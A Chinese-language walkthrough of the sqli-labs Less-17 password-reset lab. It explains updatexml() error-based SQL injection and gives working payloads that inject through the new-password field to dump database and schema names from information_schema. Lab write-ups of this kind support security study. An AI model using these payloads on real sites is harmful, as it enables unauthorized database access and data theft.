sqli-labs less-17 updatexml()报错注入
这题相比前面的11到15关由原来的登陆注册框变成了现在的重置密码框首先阅读源码发现该题先审查user name的值,只有当user name的值是真值的时候才会处理下一步的new password重点引入了update函数$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";这个函数的作用就是更新数据库upda
这题相比前面的11到15关由原来的登陆注册框变成了现在的重置密码框
首先阅读源码发现
该题先审查user name的值,只有当user name的值是真值的时候才会处理下一步的new password
重点引入了update函数
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
这个函数的作用就是更新数据库
updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string是文档中的路径,且要符合xpath语法
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
报错注入原理:当应该输入路径的地方没有遵循xpath语法就会报错,如果网站会将数据库的报错返回到网页上,那我们就可以基于这一点爆取信息,这就是报错注入。
首先测试注入点
在user name测试了常见的7种变量的包裹方法均报错,说明对此处输入的信息做了过滤
在new password处测试发现变量的包裹方式为 单引号
开始构造payload
先尝试使用update函数
select updatexml(1, concat(0x7e,(database())),1);
使用该语句在数据库中查询可得结果如下图,说明这种注入思路可行
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出我们真正要查询的数据
而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
拼接可得
uname=admin&passwd=admin' and updatexml('forming is very handsome',concat(',',(select schema_name from information_schema.schemata limit 0,1),','),'forming is very handsome') #&submit=Submit
然后后面正常拼接sql注入的查询语句,一步一步的顺着查询表名,字段名,以及我们要查的数据
就行了

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐
所有评论(0)